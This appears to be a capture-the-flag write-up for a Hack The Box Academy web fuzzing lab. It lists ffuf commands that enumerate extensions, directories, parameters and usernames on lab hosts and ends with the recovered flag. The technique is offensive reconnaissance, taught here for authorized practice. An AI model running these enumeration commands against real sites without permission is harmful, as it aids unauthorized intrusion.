WEB FUZZING
OBJECTIVE: locate all subdomains, domain, directories and pages linked to the target's IP
Last updated
OBJECTIVE: locate all subdomains, domain, directories and pages linked to the target's IP
Last updated
root@oco:~$ sudo nano /etc/hosts
94.237.57.116 archive.academy.htb
94.237.57.116 test.academy.htb
94.237.57.116 faculty.academy.htb
root@oco:~$ find / -iname web-extensions.txt -type f 2>/dev/null
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/web-extensions.txt .
#extension fuzzing
root@oco:~$ ffuf -w web-extensions.txt:FUZZ -u http://archive.academy.htb:50742/indexFUZZ
root@oco:~$ ffuf -w web-extensions.txt:FUZZ -u http://test.academy.htb:50742/indexFUZZ
root@oco:~$ ffuf -w web-extensions.txt:FUZZ -u http://faculty.academy.htb:50742/indexFUZZ
* php, php7, phpsroot@oco:~$ sudo nano /etc/hosts
94.237.57.116 archive.academy.htb
94.237.57.116 test.academy.htb
94.237.57.116 faculty.academy.htb
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://archive.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100
* /courses/index.php
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://archive.academy.htb:43990/courses/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://test.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100
* nothing
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100
* /courses/index.php
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:43990/courses/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100
* nothing
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://archive.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php7 -v -ic -t 100
* nothing
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://test.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php7 -v -ic -t 100
* nothing
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb:43990/FUZZ -recursion -recursion-depth 1 -e .php7 -v -ic -t 100
* http://faculty.academy.htb:PORT/courses/linux-security.php7root@oco:~$ find / -iname *parameter* -type f 2>/dev/null
* seclists/Discovery/Web-Content/burp-parameter-names.txt
#GET PARAM FUZZING
http://faculty.academy.htb:PORT/courses/linux-security.php7
root@oco:~$ ffuf -w burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7?FUZZ=key
* identify the identical response sizes and use it as filter
root@oco:~$ ffuf -w burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7?FUZZ=key -fs 774
* filter out the response sizes of 774
* user
root@oco:~$ BROWSER > http://faculty.academy.htb/courses/linux-security.php7?user=key
#POST PARAM FUZZING
root@oco:~$ ffuf -w burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded'
root@oco:~$ ffuf -w burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs 774
* user, usernameroot@oco:~$ cp /opt/useful/seclists/Usernames/Names/names.txt .
#fuzzing for values
root@oco:~$ ffuf -w names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'user=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded'
root@oco:~$ ffuf -w names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'user=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 780
* nothing
root@oco:~$ ffuf -w names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded'
root@oco:~$ ffuf -w names.txt:FUZZ -u http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 781
* found harry
root@oco:~$ curl http://faculty.academy.htb:43990/courses/linux-security.php7 -X POST -d 'username=harry' -H 'Content-Type: application/x-www-form-urlencoded'
* HTB{w3b_fuzz1n6_m4573r}